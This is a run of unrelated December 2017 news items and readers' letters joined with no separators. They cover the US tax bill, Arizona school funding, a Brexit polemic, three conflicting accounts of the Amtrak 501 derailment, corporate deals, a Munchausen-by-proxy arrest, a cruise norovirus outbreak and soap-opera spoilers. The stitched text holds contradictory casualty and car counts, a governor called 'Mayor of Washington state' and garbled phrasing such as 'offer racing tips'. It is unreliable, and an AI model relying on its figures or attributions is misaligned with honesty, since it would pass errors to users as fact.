Now that concerns of holdout Republican senators such as Marco Rubio of Florida and Susan Collins of Maine have been met, Senate approval of the package is buttoned up. The Republicans' razor-thin margin in the 52-48 Senate left them only two votes to spare, setting off frantic last-minute negotiations behind closed doors last week. Now, even with Sen. John McCain, R-Ariz., recuperating from cancer treatment in Arizona and unable to vote, the Republicans still can muster a simple majority of the 99 senators present. And in their back pocket, they've got Vice President Mike Pence ready to break a tie if needed.

Still taking no chances, Republican leaders are using strategic maneuvers. They've set the vote in the House first, expected Tuesday afternoon, followed by technical termination of the joint House-Senate conference committee that blended the separate bills into a compromise package. That means when the Senate votes  likely Tuesday evening  Democrats will be unable to force a series of votes on a so-called "motion to recommit" the bill to the conference committee. The committee won't exist, so no delay.

No Democrats are expected to vote for the legislation in the Senate. Thirteen House Republicans voted against the House bill last month, all but one from high-tax California, New York and New Jersey in protest of reduced deductions for state and local taxes. But the math clearly will carry the package through Congress.

A HUGE WHITE HOUSE CELEBRATION IS LIKELY

After final passage, the legislation goes to an eagerly awaiting president. Trump made boosting economic growth  with a shot of adrenaline to come from cutting corporate taxes  a centerpiece of his presidential campaign. He predicted this weekend that with the tax overhaul, growth could jump from the current 3 percent to "4, 5 and maybe even 6 percent ultimately."

Many economists doubt that even a sustained 4 percent rate is achievable. And they've mostly thrown cold water on Trump's prediction that the tax changes will put an additional $6,000 a year into the pockets of an average family of four.

Trump continues to push back against criticism that the legislation will benefit corporations and wealthy Americans  including the president, his family and big GOP donors  more than the middle class.

SOME PROMPT CHANGES, OTHERS NOT 'TIL 2019

Once Trump signs the tax plan into law, it takes effect Jan. 1. Employees could start seeing changes in the amount of taxes withheld from their paychecks  hopefully mostly reductions  as early as February. The IRS says it's taking initial steps to prepare withholding guidance for employers, which it expects to issue next month.

But taxpayers won't file their 2018 returns until the following year, in accordance with normal procedure. That's too late for taxpayers to have refunds in hand, or checks paid to the IRS, under the new law before they vote in the midterm elections next year. The Democrats' continuous objections this year  that the tax legislation is tilted toward corporations and the wealthy  will morph into campaign ads in 2018.

For corporations, the tax cuts take effect in January, allowing companies to immediately write off the full cost of capital investments.

A BOON FOR TAX LAWYERS

The legislation was intended to simplify the tax process, and Republican leaders have waved a short, postcard-like form that they say most taxpayers will be able to use to file their returns. But instead of closing loopholes, the tax plan appears to create more of them. Tax lawyers and accountants are set to be besieged by clients looking for professional guidance in restructuring companies and incomes to avoid taxes.
Arizonans should be pleased to see that Tucson high schools canceled an economics course funded by the right-wing Koch Brothers. There is no place in public schools for political propaganda.

Kochs and their "Americans for Prosperity" front organization have flooded Arizona with millions in dark money aimed at -- ironically -- sabotaging public education. They have succeeded, as Arizona is dead last nationwide in elementary school teacher pay and 49th in the country for secondary school teacher pay.

Now it's time to get the Kochs out of the University of Arizona. Their foundation donated $1 million to the UofA to create the Center for the Philosophy of Freedom, which is a think tank designed to turn students into future lobbyists for the right-wing, anti-education foundation.

We must un-Koch our campuses.

Larry Bodine

Foothills
If this was a mainland city, most of America would be asking our government what it is good for, if it cannot supply these basic of needs to its peoples. But it is in Puerto Rico. I leave to the reader to deduce why it is not getting the attention any other place would.

In addition to why it is being neglected, we need to focus on how we correct the situation. Most importantly, we need to not let it fade into the background. This is a real and present crisis! Along with the other pressures you put on your congresspeople, pressure them to help Puerto Rico. Dont stop. Yes, you can donate to many nonprofits to help, as well, but ultimately, this is an abject failure of the Trump administration, and it needs to be brought home to them.
Seems business leaders are finally starting to realize that repeatedly cutting taxes for businesses have created more problems in education. With todays story about the push to increase the sales tax, business leaders are starting to realize that a well-educated work force is essential for any business. But unfortunately for taxpayers were expected to help solve the problem, which Ducey created.

The Governor should restore funding for education, and pay the schools what they owe and we wouldnt have this sales tax dilemma. Governor Ducey has to make another hard decision, cut taxes every year in office there by keeping the Koch Brothers happy. Or make the really hard decision to extend the 0.6-cent sales tax that voters first approved in 2000 to fund education. The Governors press aide said he doesnt support raising taxes. Surprise Governor, a SALES TAX IS A TAX.
Ever wondered if the technology given to children is helpful or harmful? Most parents struggle with how much technology to give to children and teens, especially if their child seems to be the only one without that video game, iPhone, social media account, etc.

Research is starting to show, however, that we may no longer need to wonder; we can just relax in the knowing. Our children may not be benefitting from their hyper-connected always on technology driven lives. And there is a national movement of parents who are starting to question the "over-technologizing" of our children. It is called "Wait Until 8th" and it supports parents to make a decision to wait until at least 8th grade before giving their children a smartphone.
About 50 years ago, our family lived in the Painted Hills Estates in the Tucson Mountains with our children. We had engaged a young woman to help with housework and care for our youngest. She came from an area in northern Sonora, and as she lived and traveled with us, we all became very close.

One year in December, she went to visit family in Sonora to enjoy Christmas. She returned with a package, rolled up in old newspapers, and said she had a Hanukkah present for us.

Unwrapping the package, we saw a rectangular painting of Joseph with the baby Jesus holding a cross. It had serrated edges, was irregular in shape and appeared to be part of a much larger canvas. We asked her where this painting came from, and she said it had been in her family for many, many years.

We sought to ascertain its derivation and provenance and contacted a professor in the art department at the University of Arizona. He said that, although he was not an expert in this field, as best as he could tell, it was obviously taken from a larger work. He thought that there was a time in Mexicos turbulent 19th or early 20th century history when parishioners and Roman Catholic churches in Mexico feared that artwork hanging in the churches could be vandalized or destroyed by bands of anti-clerical revolutionaries.

He said that church officials would divide the larger canvases into smaller paintings and give them to faithful parishioners to protect.

My wife, Eleanor, took the piece to a framing company in which we had confidence, gave them some background, and we came up with a plan to frame the piece into an oval cameo shape to mask the tattered edges.

When we lived in the Tucson Mountains, the area was not nearly as developed as it is today. We used St. Marys Hospital as our local medical clinic. At the time, I was doing legal work for the Diocese of Tucson, and I mentioned the painting to the diocesan administrator. I suggested that we would like to gift the painting to St. Marys Hospital, which we did.

We presented the painting without much ceremony, and for years, when I passed St. Marys, I often thought of that image of Joseph and the baby Jesus hanging  I believed  in the office of the hospital director/mother superior.

Recently, I spoke to the chief executive officer of St. Marys Hospital, Dr. Amy Beiter, and asked about the painting. Dr. Beiter expressed surprise at my question; then I told her of the gift and its background. She told me that the painting was treasured by the staff at the hospital, but that it was no longer there.

She explained that when Tenet Hospitals purchased Carondelet Hospitals, which included St. Marys, the Roman Catholic Diocese of Tucson had received the painting. She added that before delivering the original to the diocese, they had taken a photograph of the painting and it was now hanging in the chapel at St. Marys Hospital.

I went to the chapel, and it was, indeed, a photograph of the original painting. I have also recently seen a copy of the original painting, which is at the diocese archives.

Thus, a Karmic tale and journey of how a lovely painting went from a Catholic church in northern Sonora to the Roman Catholic Diocese in Tucson  as a Hanukkah gift.
There is no doubt the deal that allows the UK to progress to talks about trade with the EU is a wicked sell-out of the 17 million plus people who voted for Brexit eighteen months ago. That original ballot paper did not contain clauses about integration periods lasting for two years - or until eternity as Ken Clarke, Anna Soubry, Nicky Morgan Vince Cable and many others would like. There was no agreement to pay billions of pounds for the privilege of leaving (something that is a right anyway) or to bribe the EU into letting us carry on trading with them at a substantial loss.

Nothing about not agreeing to trade deals with other larger, faster-growing economies or allowing the hated EU courts to retain influence over our courts and our right to govern ourselves.

Must we pay whatever the EU demands?

Where the fault for this sell-out lies is a more complex issue. Before we look at it, however, it is important not to allow certain facts to slip into the forgotten world as so many politicians would love them to. Let's line these people up; Corbyn and most of the Labour MP's, Nicola Sturgeon and all the SNP's, Cable and the Liberal Democrats, the Greens whose names no one can remember (and rightly so) and hundreds of so-called advisors. All these people insisted we pay whatever the EU demanded, so long as we had access to the single market.

They felt we must accept the ongoing jurisdiction of EU courts plus unfettered free movement. Well, Theresa May and David Davis have come back with a deal that approximately halves the EU leaving bill and gives away far less control. May has made a terrible deal, but it is a deal that gets us out of the EU and saves the UK about 40 billion pounds when contrasted to the demands of the above group of scurrilous people.

Let's never forget that!

Many share the fault

Back to the question of fault. The initial fault was the responsibility of the Prime Minister. From a position of enormous strength; elected PM virtually unopposed and with the weight of the biggest UK vote in favour of anything ever behind her, she dithered. Instead of invoking Article 50 straight away she allowed the remainers - a group of people intent on reversing the will of the UK population - to delay the process with court cases and Parliamentary procedures.

She then chose to hold a general election and ran the worst campaign in living memory and, even more stupidly, ran it over two long months. This allowed Corbyn to lie outrageously for weeks, bribe people who knew no better with false promises and eventually overthrow the Conservatives working majority. May's ability to negotiate Brexit was terribly damaged. From that point on she has done her best and shown grit. She has held the ship together and avoided (so far) a potentially catastrophic new set of elections. But much of the damage was done. That was when the true villains of the piece, determined to traitorously sabotage democracy, stepped to the fore.

Cable, Sturgeon, Blair, Clegg and the rest openly demanded a new referendum.

They said we all have a right to change our minds. What rot! They ignore the fact they refused us the chance to even deliver a vote for 40 years, yet they want a new chance tomorrow. They also ignore the fact we have not even left the EU yet, nor had the chance to make Brexit work and reap the rewards. Almost as bad and more cunning are Corbyn and his spokesman Kier Starmer. They change their minds every five minutes and look for any opportunity to wreck the Government so they can gain power and turn the UK into a poverty-stricken Hellhole like Venezuela.

Spin it how they like, they are cheating democracy

Recently a crucial vote has been lost by the Government. Overtly it is to have Parliament's right to a vote on the final deal enshrined in law.

Perhaps some who voted actually believed in this. For many named above, however, it was about putting another hurdle in the way of Brexit. Planning and plotting like fifth columnists to deny the voices of 17 million people. It was not all done along party lines; only two Labour MP's, Kate Hoey and Frank Field voted to support the will of the UK population. Eleven Conservatives, however, voted to damage the Government and the country. The objection was led by Dominic Grieve and supported by Europhile rascals like Ken Clarke Anna Soubry and Nicky Morgan.

In the end, many people have a share in the blame including the Prime Minister and her advisors, the elements of the UK population who voted Brexit but then voted Corbyn at the General Election, and of course the many EU bureaucrats who are damaging Europe so they can punish the UK. Worst of all are the MP's who are paid by the people of the UK yet deliberately and relentlessly try to deny the majority of citizens the opportunity they waited decades for.

The right the electorate ignored legions of people from this country and abroad (who spent endless millions trying to persuade them to stay in the EU) to obtain.

The British people have the absolute right to exit the European Union and to expect everyone in Parliament to work in a focussed and honest way to ensure they get the control over their own laws, borders and trade that they voted for.
An Amtrak train that was travelling down a brand new high speed route in washington, which opened literally yesterday, for the first time ever has been derailed. The derailed train has killed several people  at least three, reports say  and sent a number of carriages off the edge of an overpass and raining down onto the busy traffic of the Interstate 5 highway below. Its been absolute anarchy, like a scene out of a Tony Scott action movie.

The Associated Press has been releasing information about the Amtrak Train crash as its been coming in, and they were told a different death count by an American official.

Three was reported by CNN after that was the number confirmed by state officials in todays briefing, while the US official who contacted the Associated Press said that at least six people have been killed in the crash. However, he also confirmed that as the investigation continues and emergency services work to bring the situation to an end, the number of deaths could easily rise.

The train got derailed at around 7:30am local time and it was chaotic. The train was travelling just south of Seattle, going over a bridge right on top of a busy highway full of cars and people. And it wasnt just like one or two carriages came off the overpass and landed on the highway  literally 13 out of the total of 14 carriages left the track.

Suffice to say, the new high speed rail system was not the success everyone was hoping it to be.

No motorists were killed by falling train carriages

As 13 train carriages rained down from above onto the Interstate 5 highway, luckily no motorists were killed, although five vehicles on the highway were struck by train cars. The whole thing took place just next to Tacoma in Washington state, which is approximately 40 miles south of Seattle, the city that gave us Frasier Crane and Nirvana.

The identities of the victims of the crash have yet to be revealed by officials on the scene, although some of them have contacted the press with eyewitness accounts, so their names are now on public record.

According to Amtrak, the company whose train it was, there were 77 passengers and seven crew members on board the train at the time of the crash, all put at great risk by the derailment.

After the crash took place and the motorists below were affected, more than 100 people were taken to the nearest hospitals to have their wounds treated. Theres over a dozen of those patients currently suffering from injuries that range from critical to severe. Local authorities are saying that some of the victims are being rushed into surgery.

Donald Trump responds by reinforcing his own policy

US President Donald Trump has used the crash to shout out for support for his own infrastructure plan, which he believes would prevent such an incident from occurring. The President responded to the crash a few hours after it took place, saying that it made a case for his plan more than ever and that his administrations strategy, which he says is soon to be submitted to the powers that be, should be approved quickly. Always thinking about his policies.

Trump is unhappy that a total of $7 trillion of the US governments money has been spent in the Middle East, while the roads, bridges, tunnels, railways (and more) of the United States crumble! Then he added, Not for long! since the infrastructure plan is coming soon. Ten minutes after that tweeted, he posted another one when his publicists realised how insensitive towards the victims of the crash his comments had been. So, he tweeted, Thoughts and prayers are with everyone involved. Thats some good PR people hes got.
An Amtrak passenger train travelling near Seattle, Washington state has Derailed and is being considered a mass casualty incident.

Live video and photos coming from the event appear to show multiple train cars hanging from an Interstate 5 overpass near the town of Dupont.

Amtrak 501

The derailed train, Amtrak 501, left Seattle around 6 a.m. this morning. It is believed that 3-7 cars have derailed.

The train is part of Amtrak's Cascades line that connects 18 cities including Seattle, Portland, Vancouver, and Eugene.

An Amtrak spokesperson released a statement saying, "Emergency crews are on the scene and the Amtrak Management is responding.

Some injuries are reported. Service between Seattle and Portland is suspended for the time being."

We are aware of an incident involving Amtrak train 501. We will update with additional details as they become available.  Amtrak (@Amtrak) December 18, 2017

Witnesses

Witnesses at the scene reported that cars were swerving to miss the falling train resulting in many casualties.

Chris Karnes, a passenger on the train, described the scene to CBS news affiliate KIRO-TV. "We had just passed the city of DuPont and it seemed like we were going around a curve. All of a sudden, we felt this rocking and creaking noise, and it felt like we were heading down a hill. The next thing we know, we're being slammed into the front of our seats, windows are breaking, we stop, and there's water gushing out of the train.

People were screaming."

Speaking with CNN, witness Greg Mukai, told CNN, "I was travelling to work this morning along I-5 and we came to a sudden stop. We all tried to stop quickly to avoid running into each other, to be honest. Once we all came to a stop I was able to look up and see, unfortunately, this scary thing of ... a train hanging off of the overpass.

Lots of military personnel and people ran to try to help the best they could."

WSP diverting traffic at DuPont. WSP aiding withbroad closure & getting assistance to scene. pic.twitter.com/fRw4uGNIVv  Trooper Brooke Bova (@wspd1pio) December 18, 2017

Recent updates

Google maps images of the location of the crash show a sharp turn that could be a potential factor in the crash.

The Department of Transportation reported that the train was running on a new line that was specifically designed to avoid slow turns.

All lanes of traffic remain blocked on Interstate-5. Two trucks are currently trapped underneath the derailed cars, but no highway traffic fatalities are reported at this time.

The Mayor of Washington state, Gov. Jay Inslee tweeted, "Thank you to the first responders on the scene. We're praying for everyone on board the train, and ask everyone to hold them in your thoughts."

There are no reports or indications, at this time, for the exact cause of the derailment.
Switzerland's Sunrise Extends AudioCodes Partnership

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By Paula Bernier

Executive Editor, TMC By Paula BernierExecutive Editor, TMC

Sunrise Communications AG of Switzerland is employing the AudioCodes One Voice portfolio to power its Microsoft Skype (News - Alert) for Business UC solutions.





The rapid rise in popularity of unified communications services in general, and Skype for Business in particular, in Switzerland meant that we needed a reliable, experienced partner to supply essential voice infrastructure elements, said Robert Wigger, chief business officer at Sunrise, an operator and system integrator in Switzerland. AudioCodes (News - Alert) represented the perfect answer to our needs with a broad, field-proven portfolio of products and solutions capable of handling virtually any customer deployment, whether on premises or cloud based.

Sunrise is using the AudioCodes Mediant CCE Appliance, media gateways, and session border controllers. This new deal also covers IP phones, and a centralized device and network management solution.

The Mediant CCE Appliance provides on-premises voice connectivity for Skype for Business Online customers. The Mediant media gateways and SBCs enable seamless connectivity between legacy on-premises PBXs, IP PBXs, the PSTN, and SIP trunks. The IP phones are Microsoft (News - Alert) certified and high definition. And the management solution features real-time voice quality monitoring.

Our One Voice offering is designed to ensure smooth and rapid deployments of voice services for Microsoft Skype for Business UC environments and will continue to do so as Skype for Business transitions to Microsoft Teams, says Nimrode Borovsky, vice president of global marketing at AudioCodes.

Microsoft recently announced plans to replace Skype for Business Online with Microsoft Teams. The company has not yet offered a timeline for that. However, in a late October blog, the company encouraged all customers who have not yet done so to start using Teams today, either stand alone or side-by-side with Skype for Business.

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Edited by Mandi Nowitz
enterprise software giant Oracle made another big acquisition this week. Oracle is adding another company to its portfolio. The latest target is an Australian cloud company specializes in web-based project management software and services.

According to Bloomberg, the Redwood City-based software giant announced that it has entered into an agreement with the Australian company Aconex Limited. Oracle has acquired the Aussie company for a whopping $1.56 billion, the website reported.

The deal will help Oracle creates some of the worlds most comprehensive cloud offerings for managing all aspects of construction projects, including team collaboration and data management.

Oracle currently offers one of the construction industrys most advanced solutions for planning, scheduling and delivering large-scale construction projects in the market. The latest deal is expected to provide an end-to-end offering for project management and delivery solutions that allow its customers to effectively plan, build and operate any construction projects, including large-scale projects.

A close about the newly acquired Aussie firm

Based in Melbourne, Australia, Aconex Limited is an ASX 200 listed public company that provides web-based collaboration technologies for construction projects. The companys core product connects owners and builders, providing them with a more effective way of management of data and documents across all stages of the construction project lifecycle.

Aconexs clients include companies in the infrastructure, power, mining, construction, oil and mining industries. Currently, the Australian company provides one of the most widely used cloud-based, multi-company project collaboration technology for the highly lucrative construction market.

Aconexs technology has been used in over $1 trillion in global construction and engineering projects, including the Panama Canal extension.

This makes Aconex a top target for some enterprise companies that looking to beef up their presence in the engineering and construction market.

The deal, which still subjects to Aconex shareholder approval and certain regulatory approval, is expected to close in the first half of 2018 in late March. The deal is also one of the two major US-Australian tech deals announced this week, with the other one involved the Australian company Metronode and the US-based data center provider Equinix.

Other Oracle-related stories

Last week, Oracle CTO Larry Ellison announced that the companys latest Oracle 18c autonomous database will be launched in January 2018. Ellison claims that the new database will help accelerate the growth of the companys PaaS and SaaS businesses and also keep its market leadership in the database market.

According to ZDNet, the company has used its annual big IT event Oracle OpenWorld to introduce to the enterprise world its latest database product. In addition to the new database product, the company has also announced an intention to join the Blockchain bandwagon with its own Oracle Blockchain Cloud Services. The new Blockchain offering will allow users to build a Blockchain network and smart applications
A Dallas, Texas woman has been arrested and charged with serious bodily injury to her own 8-year-old child. The mother was arrested after authorities began investigating her last month when she took her son to a Dallas hospital claiming he had a seizure. The medical staff could find no evidence that Christopher Bowen actually experienced a seizure.

Hospital records and doctor office visits showed that 34-year-old Kaylene Bowen-Wright took Christopher to hospitals and pediatric centers in the Houston and Dallas areas 323 times when he wasn't sick.

This started when the child was only 11 days old. The child underwent 13 major surgeries between 2009 and 2016 when they were not necessary, according to Child Protective Services. Bowen is being held in jail in Dallas County on a $150,000 bond following her arrest on December 6.

Texas Mom Allegedly Subjected Her Healthy Son, 8, to 323 Doctor Visits and 13 Surgeries https://t.co/1FHKypV2cK  Breaking News (@breaking_news_4) December 16, 2017

Custody battle

Ryan Crawford, the boy's father says he has been in a three-year-custody battle for Christopher, but the mother claimed the child had serious medical conditions and was too sick to leave her care. Bowen-Wright claimed the child's lungs didn't get enough oxygen so he had trouble breathing and couldn't play like other children.

She also claimed Christopher had cancer. The boy was removed from the mother's care last month after a Dallas hospital alerted Child Protective Services that Christopher did not have cancer or any of the other diseases his mother claimed.

Munchausen by proxy

What the mother was doing is called Munchausen by proxy. That's when a caregiver imposes a sickness on another to gain attention, sympathy and sometimes finances for self.

Bowen was charged by the Dallas County Sheriff's Office for subjecting her young son to needless doctor visits and surgeries.

At the time of the mother's arrest, her son was on oxygen, was connected to a feeding tube, was on medication to control seizures and was in hospice care. Bowen-Wright was trying to get Christopher's name on a list for a lung transplant.

For most of the child's life, he was in a wheelchair. According to physicians, the child needed none of those things.

The mother was proactive in getting medical help for Christopher that he didn't need. More than $8,000 was raised when a bike rally was held for the child in 2014 because Bowen-Wright claimed he suffered from Arterio-Venous Malformation, also known as AVM. Christopher also had a GoFundMe campaign to cover the cost of some of the other made-up illnesses.

People might wonder how the mother had gotten away with it for so long. Initially, there were exaggerated symptoms. Then the mother moved from exaggerating symptoms to allegedly inducing the symptoms to make it look like the child was really sick.

The irony of Munchausen by proxy is that the caregiver is the one who is sick instead of the person being victimized.

The good news to this story is that since Christopher was removed from his mothers care, he eats regularly without a feeding tube, has had no seizures, and needs no oxygen or an IV, according to officials.
The 5500 odd passengers on board the Royal Caribbean Cruise Ship had left the Port Everglades, Florida, in high spirits. It was the Independence of the Seas on a five-night journey to destinations in Labadee and Jamaica. By the time the guests had properly settled in, the charm of the trip was marred by illness. It was an unpleasant experience for the passengers.

Daily Mail UK reports that more than 300 passengers of the cruise ship faced stomach-related illnesses described as gastrointestinal sickness probably caused by norovirus. The authorities called in their sanitation experts to take immediate action to control the situation.

Chaotic situation on board

Those who were affected suffered from bouts of vomiting and diarrhea and the medical teams on board the cruise ship treated them with over-the-counter medications. The medics were overburdened because of the large numbers, and many patients had to wait in queue to get their medicines.

The doctors advised the guests and crew to wash their hands frequently which is the best defense against such virus attacks. The Royal Caribbean has confirmed that it had taken intensive sanitary procedures to reduce the risk of spread of the disease and assured that the ship, Independence of the Seas, will be subjected to additional cleaning procedures before it proceeds on its next cruise.

A spokesman of the company informed that nearly 300 million people are affected by Norovirus all over the world.

The charm was lost

When anyone books a berth on a cruise ship for a five-day outing to exotic places, he wants to let down his hair, and enjoy the brief respite from routine activities. He wants to meet people, strike up friendships, interact with them, and exchange thoughts.

He does not want to remain confined to bed to swallow pills when he should be tasting new dishes.

Unfortunately, the passengers of the Independence of the Seas had an experience that they will remember for a long time. Norovirus is contagious and, in spite of the cleanliness of the ship, it could have come on board via some passenger or his belongings.

It is not a life-threatening disease but, it leads to embarrassment when people begin to throw up in the open. The effect is believed to remain for nearly 72 hours which is a huge loss in a five-night cruise since it spoils the fun.

NBC News adds that there was a similar incident reported on another Royal Caribbean ship in November. It was the Ovation of the Seas ship, in which 209 passengers out of the 5,796 people on board suffered. The cruise ship had left Singapore on Nov. 23 and returned to Sydney on Dec. 7 after a 14-night cruise.
Singapore Airlines has been known for its wondrous products, its outstanding service by the legendary Singapore Girl, and definitely, its price. It is always a privilege to fly via Singapore Air, whether be for the long haul or short haul flights. A report by website Nylon relayed a lot of the facts used in this article.

Come January 20, 2018, it is going to cost you slightly more to enjoy this privilege. This is not just for its luxurious business, first class, and suites, but the economy fare categories are those that will be getting a major overhaul (It seems like Singapore Air is starting to make its stance on luxury travel real).

Just last month, Singapore Air updated its cabin products to rival its competitors. After its highly sought-after launch of the suites class, it has revamped its suites on its A380 to look like a posh five-star hotel. Each suite has its own bed, along with a superbly comfortable leather swivel chair, and a 32-inch television screen. Its toilets are also furbished to ensure that you have loads of space.

Changes in economy fares

This time, for customers booking the economy fares, one will have to select from the Lite, Standard, and Flexi options. Each of these would differ in terms of the flexibility of cancellations and changes, the advanced seat selection, as well as mileage accrual. Other than these new pricing categories, Singapore Airlines, as well as Silkair, will be renaming the categories of its preferential seats.

For example, the previously known "Preferred seats" will now be named the "Extra Legroom seats." A new classification of seats will be called the "Forward Zone seats," which are seats located near the doors of the plane.

Even though there will be more costs to incur for individualization, like the selection of seats, economy passengers will be able to chock up their mileage much faster now.

Economy passengers on the Lite fare will be able to get 50 percent of the miles, while the Standard will stock up 75 percent, and 100 percent for the Flexi fare category.

Why did they make this move?

This move is part of Singapore Airlines' move to counter the fierce competition from budget carriers. Whether or not this move will push up sales for the airlines, it is still a question that is waiting to be answered.

That being said, it is going to be more costly for travelers to book tickets on the airlines and flying Singapore Airlines will probably never be the same again.
Several dead after an Amtrak train derailed off into a busy highway in the state of Washington. The train, on its inaugural trip, is now dangling off Interstate 5 near Dupont, according to state authorities and the Pierce County Sheriff's Office.

All the casualties [the number unknown yet] were from the train. There is no one thought be alive in some of the train's cars. Rescue operations are ongoing to save those that are believed to be alive in some of the cars.

Some of the cars have gone into a nearby wood in the maiden journey of the train from Seattle, Washington to Portland, Oregon.

The cars used in the train belong to both the state of Washington state and Oregon's Department of Transportation.

Tens of people seriously injured

At least 10 people pulled from the train's cars have been rushed to a medical facility outside the city of Dupont. Five vehicles on Interstate 5 have been hit but none of the people in the vehicles suffered any serious injuries.

According to Kimberly Reason, a spokesperson for Sound Transit, the company the owns the tracks, Amtrak is responsible for the maintenance and servicing of the trains and that local authorities are working with a joint command center to determine the cause of the incident.

The National Transportation Safety Board is rushing investigators to the scene and has already ruled the crash a major incident.

The NTSB says it is too early to know the cause of the accident but analysts are already taunting speed and no positive train control as possible reasons.

Washington state Governor declares a state of emergency

The Governor of Washington, Jay Inslee has declared a state of emergency. Inslee is scheduled to visit the crash site and victims at the hospital, according to his office, which has already dispatched officials to the crash site.

Passengers on the train that were interviewed by multiple news agencies say they were plunged off their seats upon impact. Seattle's Mayor, Ed Murray has express dismay, calling the incident "horrific." Congressman Denny Heck said he believes something went terribly wrong and vowed to uncover the cause.

All southbound lanes on the busy highway have been closed, affecting traffic between the busy cities of Tacoma and Olympia.

Inslee advised drivers to avoid the area and Amtrak said it has suspended services in the Washington area, specifically affecting its 504 and 509 routes.

President Trump briefed on the incident

President Donald Trump has been receiving regular briefings on the incident. He took to Twitter to offer racing tips as to why his infrastructure development plan must be swiftly approved, decrying the trillions spent in the Middle East while America's infrastructure decays.

President Trump also expressed sympathy with the victims, sending his thoughts and prayers. He also thanked first responders for a remarkable job and said he was monitoring the situation from the White House.

Amtrak said it is deeply saddened by Monday's accident and confirmed they had 77 passengers and seven crew members on board the train when the crash occurred. A fuel and batteries clean up are also on the way.
"Young and the Restless" spoilers tease that Graham Bloodworth (Max Shippee) could be on his way back to Genoa City. Jack (Peter Bergman) and Ashley (Eileen Davidson) thought they had gotten rid of him, so imagine their surprise when he comes back to GC. Graham has a special bond with Dina (Marla Adams), so the Abbotts know they have to be cautious when trying to run him out of town. The details from this article come from a report by website Soaps.com.

Graham returns to check on Dina

A few months ago, Jack and Ashely brought Dina back to GC. She was previously in Graham's care in Florida.

Before they left the hotel, Graham told Jack "good luck" with his mother.

"The Young and the Restless" spoilers tease Graham meant that Dina was hard to control. He had been watching her for a few years, and he knew they would have their work cut out for them.

Jack and Ashley fight for control at Jabot today on #YR! pic.twitter.com/fOsW68X0YY  Young & The Restless (@YRInsider) December 7, 2017

It's only natural that after a few months, Graham is curious if Dina is okay. He may want to pop in to see how things or going, or possibly, he could have a sneaky plan.

Ashley Vs. Jack battle

"The Young and the Restless" spoilers state that Ashley and Jack will battle for top spot at Jabot. Ashley believes that Jack is over-extending himself, while Jack continues to think that he can handle everything.

It will result in Traci (Beth Maitland) and Ashley going to the board and asking them to remove Jack as Jabot's CEO.

Jack will see this as a betrayal. He won't see that his sisters were trying to protect him. All he will see is, they forced him out of a position that he loved. It could result in a heated Abbott war.

The board will vote on if Ashley or Jack should head Jabot.

The "Y&R" spoilers state that a secret voter will break the tie. It will be upsetting to one of the Abbott family members. Social media believes that Kyle will vote for Ashley to head Jabot, voting against his father.

Graham's Dina's sole heir?

According to SheKnows Soaps, Graham could return to claim his inheritance from Dina.

"The Young and the Restless" spoilers tease that the Abbott children will rush to try to contest their mother's will to prove she wasn't of sound mind when she wrote it.

It's pretty evident that 'Y&R" is gearing up for a Graham versus Abbott children battle for February sweeps. Graham has proven that he isn't afraid to stand his ground when in conflict with the Abbotts. It could be heating up for a courtroom battle over Dina's will.

Genoa City is naughty, nice, and everything in between next week on #YR! pic.twitter.com/BgYjKKuTsK  Young & The Restless (@YRInsider) December 15, 2017

Do you think the Abbotts can keep Graham away from Dina? Will they have to pay him off to get rid of him?

"The Young and the Restless" airs weekdays on CBS.
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HA NOI  Cambodian domestic airline, Lanmei Airlines, will launch two new direct flights between Phnom Penh and Ha Noi, as well as Siem Reap and HCM City from December 20.

The flights are scheduled to depart every Tuesday, Wednesday, Friday and Sunday.

The new flights are launched in order to promote international economic, culture and tourism exchanges between Cambodia and Viet Nam.

The airline will prioritise the development of low-cost aviation models to attract Viet Nams tourists and Vietnamese travel companies, as well as to facilitate international visitors to Viet Nam to further explore the full beauty of Indochina.

On the occasion of opening the new routes, Lanmei Airlines announced a giveaway programme for the first two flights departing from Ha Noi on December 20 and December 22, as well as for the first five flights of the Siem Reap-HCM City route departing during December 20-27.

In addition, the airline also offers tickets with promotional prices from now until December 31, 2017.

In 2018, Lanmei Airlines plans to equip at least five aircraft to serve these two new flights.

Lanmei Airlines Co Ltd is a Phnom Penh-headquartered aviation enterprise established on March 7, 2016. The corporation commenced its maiden flight on September 29, 2017.  VNS
BINH DUONG  Panasonic Eco Solutions Vietnam Company Ltd on Monday completed expansion of its wiring devices and circuit breakers factory in the southern province of Binh Duong.

A second factory building has been built to double production capacity by 2020, enhancing its responsiveness to the rapid increase in demand for the products in Viet Nam.

The existing plant produces around 53 million wiring devices and 13 million circuit breakers annually.

With further expansion in the works, the company plans to sell its products in other Southeast Asian countries as well.

Masaaki Kobayashi, general director of Panasonic Vietnam, said: With our mission of making A better life, A better world and contributing further to the development of Viet Nam, the inauguration of the factory expresses our commitment to developing high Japan-quality made in Viet Nam, make for Viet Nam products.

As a brand built upon 100 years of reliability, Panasonic will continue to expand in different fields, invest in R&D, develop leading technologies, solutions and products, enhance customer service as well as contribute to society through different educational and environmental projects in Viet Nam.  VNS
HCM City  A three-day official friendly visit to Viet Nam by Bounnhang Volachith, the Lao Party general secretary and national president, which starts today, is expected to boost diplomatic and economic co-operation between the two sides and open new opportunities for Vietnamese investment in Laos.

The Ministry of Planning and Investment reported that in 201115 Vietnamese investment in Laos had significantly increased to reach around US$5 billion now.

A lot of Vietnamese projects in Laos are operating well and contributed greatly to the socio-economic development of the two nations, a ministry official told the au Tu (Viet Nam Investment Review) newspaper.

They have created jobs and contributed to social welfare in Laos.

The ministry expected the Vietnamese investments to have yielded revenues of $350  400 million to the Laos Government and created around 40,000 jobs in 2017.

The major players

Viettel Global recently announced that in the first nine months this year it achieved a turnover of VN13 trillion (US$578 million), an increase of 19 per cent year-on-year, and profits of nearly VN3 trillion ($133 million), a 140 per cent rise.

The biggest contributor to the success of Viettel Global is Unitel, Laoss largest telecom service provider, in which Viettel owns a 49 per cent share.

Unitel has more than a 50 per cent market share with 2.8 million subscribers. This year it is expected to achieve a turnover of $175 million, a 10 per cent year-on-year increase.

Another major Vietnamese group, Hoang Anh Gia Lai, has achieved much success in that country and now owns many rubber and palm planations.

In 2015 it built the Attapeu airport and has since invested other $80 million in building the Nong Khai airport in Hua Phan Province.

Its other major projects include the Xekeman 1 and 3 hydropower plants, a power grid to transmit electricity from Xekeman to Pleiku, a $522 million rock salt mine in Khammuoane Province, and a project to grow 70,000ha of rubber and other industrial crops.

New opportunities

In the past most Vietnamese projects in Laos had a State element and focused on hydropower, agriculture and telecom, but now the situation has changed.

More private groups have gone to that country and the investment list has grown.

